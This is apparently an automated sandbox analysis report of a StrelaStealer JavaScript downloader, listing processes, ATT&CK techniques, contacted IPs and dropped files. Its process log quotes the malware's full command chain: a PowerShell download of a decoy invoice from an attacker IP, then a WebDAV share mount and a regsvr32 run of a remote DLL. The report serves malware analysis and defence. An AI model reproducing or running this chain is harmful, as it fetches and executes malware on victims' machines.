Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
28926317492847332246.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer
28926317492847332246.js	10%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/n0K	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/R	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.20	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000E.00000003.1316067611.00000261C2770000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.14.dr, edb.log.14.dr	false		high
http://crl.ver)	svchost.exe, 0000000E.00000002.2541217212.00000261C2A00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.13.dr	false		high
https://www.adobe.co	ReaderMessages.10.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	edb.log.14.dr	false		high
http://193.143.1.205:8888/	net.exe, 0000000C.00000002.1319219257.000001AB90C2A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1319219257.000001AB90BF8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1319219257.000001AB90C49000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/R	net.exe, 0000000C.00000002.1319219257.000001AB90C2A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/n0K	net.exe, 0000000C.00000002.1319219257.000001AB90BF8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588771
Start date and time:	2025-01-11 05:18:28 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	28926317492847332246.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/62@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 2.23.242.162, 23.209.209.135, 217.20.57.20, 2.16.168.105, 2.16.168.107, 23.204.152.213, 23.204.152.210, 13.107.246.45, 50.16.47.176, 23.56.162.204, 20.109.210.53
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, time.windows.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
23:19:24	API Interceptor	21x Sleep call for process: powershell.exe modified
23:19:27	API Interceptor	1x Sleep call for process: net.exe modified
23:19:28	API Interceptor	2x Sleep call for process: svchost.exe modified
23:19:35	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	16267239851350230287.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1147112155713680.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	395621741190315695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	884736801811116482.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	248185965269371196.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	321646101945257.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1223923852588014617.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7003183412181430311.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12728322661441225103.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2926013193173129097.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	16267239851350230287.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.35
	395621741190315695.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	884736801811116482.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	248185965269371196.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	2949911514285745182.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20
	24667857242018421.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.23
	20891229701394327174.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.23
	25717297553175212150.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.22
	279482651296229246.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.22

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	16267239851350230287.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1147112155713680.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2660438432237518549.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	395621741190315695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	884736801811116482.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	248185965269371196.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1709817689110827228.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	321646101945257.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1223923852588014617.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7003183412181430311.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7067184760993793
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6VqK:2JIB/wUKUKQncEmYRTwh0u
MD5:	85F2E43567FC3303765DE3A9D19B61A0
SHA1:	A4666E6ABDBAC551078B8A437A2900D6EF6E8CA3
SHA-256:	B8BC8FFAE2537EB84300A7C4D0B14ED13336D9ECB0DF50EC35E4593896139B23
SHA-512:	0415EF81510FEC2F77E830BB87AD9C614B8C673BF60F1F52C4FDE8C35474A5D463704CA0FB70684125F0A675C4A7C8AFFA415E2B5BBCB980C33749502893D8BE
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xb671ec83, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7900051729217256
Encrypted:	false
SSDEEP:	1536:jSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:jazaPvgurTd42UgSii
MD5:	6DE86EEF679DAEA51F1EA15689DE35E8
SHA1:	4AC14E43F38401F0BECB17697403A0D7398E40C8
SHA-256:	7E18CA4D27B3CDE9F8B059CEF6B2919C963FF51F3C2B7F4355C2DCA30FDC833A
SHA-512:	155214BB7B3B484755EC1EF0F13CA7C729734D6623391D5535E4A636A1B2031CE8D975BC9DE9A81E94D2B189DFC9B972ED7B699C3D2852DF95D3E584FD82F63A
Malicious:	false
Preview:	.q.... ...............X\...;...{......................0.`.....42...{5......}..h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{..................................x".......}...................5.....}5..........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08227616620067563
Encrypted:	false
SSDEEP:	3:9XKYeOz8vt/57Dek3JK228t/allEqW3l/TjzzQ/t:9XKzlR3tZGmd8/
MD5:	1EE9A00CAD3EB165FE8D661B1C4CE936
SHA1:	ADF142BDBB12392F7060DD42889ADEB28A0B0232
SHA-256:	9EACFB7B0FEA84FAA3DE0347942346050D987EE56B2B56A7ACE1C312C018C82A
SHA-512:	83AE65A57D5F66FB6DAD2130FC8510EC1C5869189F994805ED3D2D23D7BFCF403E73E8C541FC015035C106932B2BD7B207620626569CECF03B3F3018BA2161BF
Malicious:	false
Preview:	...N.....................................;...{.......}5.42...{5.........42...{5.42...{5...Y.42...{59.................5.....}5.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.250180658607211
Encrypted:	false
SSDEEP:	6:iO4q59Ui9+q2PcNwi2nKuAl9OmbnIFUtSq5zY0JZmwsq509VkwOcNwi2nKuAl9Oe:7Zd+vLZHAahFUtmW/CV54ZHAaSJ
MD5:	F57A23C34A14C0ABF8362B95A26A8F14
SHA1:	16DFC8821E546982061CD80BD37969610BEFC2DF
SHA-256:	AE2E151105764DF0BD6340F2561E4603CC77BD99C2BAD67999F760C79ACD4E2E
SHA-512:	23DE6BAABCF224ADD646490DBB22A09B3EC65E6D85704DE202E05C19B9C6BA82FE69E97FA72EA023DF8698A5268209644E8D727459B6203EDF61D6205B7131C1
Malicious:	false
Preview:	2025/01/10-23:19:27.446 1d2c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:19:27.448 1d2c Recovering log #3.2025/01/10-23:19:27.449 1d2c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.250180658607211
Encrypted:	false
SSDEEP:	6:iO4q59Ui9+q2PcNwi2nKuAl9OmbnIFUtSq5zY0JZmwsq509VkwOcNwi2nKuAl9Oe:7Zd+vLZHAahFUtmW/CV54ZHAaSJ
MD5:	F57A23C34A14C0ABF8362B95A26A8F14
SHA1:	16DFC8821E546982061CD80BD37969610BEFC2DF
SHA-256:	AE2E151105764DF0BD6340F2561E4603CC77BD99C2BAD67999F760C79ACD4E2E
SHA-512:	23DE6BAABCF224ADD646490DBB22A09B3EC65E6D85704DE202E05C19B9C6BA82FE69E97FA72EA023DF8698A5268209644E8D727459B6203EDF61D6205B7131C1
Malicious:	false
Preview:	2025/01/10-23:19:27.446 1d2c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:19:27.448 1d2c Recovering log #3.2025/01/10-23:19:27.449 1d2c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.225489828463366
Encrypted:	false
SSDEEP:	6:iO4q5mF/FIq2PcNwi2nKuAl9Ombzo2jMGIFUtSq59/XZmwsq5uzkwOcNwi2nKuAv:7GOvLZHAa8uFUtzf/+z54ZHAa8RJ
MD5:	CF66787F2BD2B22F35795868A8AC6A88
SHA1:	F8CBA9D45CE0EF8CC74E95C66FC328246FEA1ED5
SHA-256:	C88EB980D5D5922580F9C555C2DB27D08FD6EFFF377B1CBAC6859FD359204BAF
SHA-512:	83E6A6A8BFE7BC7E840D54AE78148DFE125253FE9EB0BB93EED936038F6714481829F4B07D76D1197A6D380E6C2232166EB9D6050B888299B2E5CC3C3496D799
Malicious:	false
Preview:	2025/01/10-23:19:27.678 1e24 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:19:27.680 1e24 Recovering log #3.2025/01/10-23:19:27.681 1e24 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.225489828463366
Encrypted:	false
SSDEEP:	6:iO4q5mF/FIq2PcNwi2nKuAl9Ombzo2jMGIFUtSq59/XZmwsq5uzkwOcNwi2nKuAv:7GOvLZHAa8uFUtzf/+z54ZHAa8RJ
MD5:	CF66787F2BD2B22F35795868A8AC6A88
SHA1:	F8CBA9D45CE0EF8CC74E95C66FC328246FEA1ED5
SHA-256:	C88EB980D5D5922580F9C555C2DB27D08FD6EFFF377B1CBAC6859FD359204BAF
SHA-512:	83E6A6A8BFE7BC7E840D54AE78148DFE125253FE9EB0BB93EED936038F6714481829F4B07D76D1197A6D380E6C2232166EB9D6050B888299B2E5CC3C3496D799
Malicious:	false
Preview:	2025/01/10-23:19:27.678 1e24 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:19:27.680 1e24 Recovering log #3.2025/01/10-23:19:27.681 1e24 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\0e23d33d-bd36-4e1e-9500-873563e5aca1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9ca00930-a49f-4a85-a0e6-3c785eddee9c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.971139515803617
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqhsVsBdOg2HQ2Acaq3QYiubSpDyP7E4T3y:Y2sRdsyHdMHQ2r3QYhbSpDa7nby
MD5:	4B63D8A22CF35509DD84A97EE085CF89
SHA1:	54972203369B50B2E42265508EBD0A1C479F55DF
SHA-256:	2793B4065F0DC7F4BCB0F948B0545D1C642972B2C897D7A4DC48AF0A683F0833
SHA-512:	C1D31B257A485ABA3AF5C05649D7011116138BB9E668DE815F9C82963D243350EDCAB48F7A5142C0CE152AB8975E54148CC39584844ACA4306716AFA53D1408A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381129179589807","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":112004},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF6f27fe.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.23400502190664
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtPr07Ur:CwNw1GHqPySfkcigoO3h28ytPr07Ur
MD5:	3A4794609433A9CD4A6082AAF10C7E3F
SHA1:	1DAAD1D47B5DDD4D3BFC70A33C6175A08A676F04
SHA-256:	0CE40B589E43666CA251251343AED8CA049A39B11FB57F001A21F0F72D54ACC8
SHA-512:	929DC02BD18A36FA9447E069DC4D8AEFCB334CB4F422552B469A1F54AF45171645931BA634723F1081E3CD090FF90B48F2F3074242C3A0991F1742E51D5CAC55
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.210609205373417
Encrypted:	false
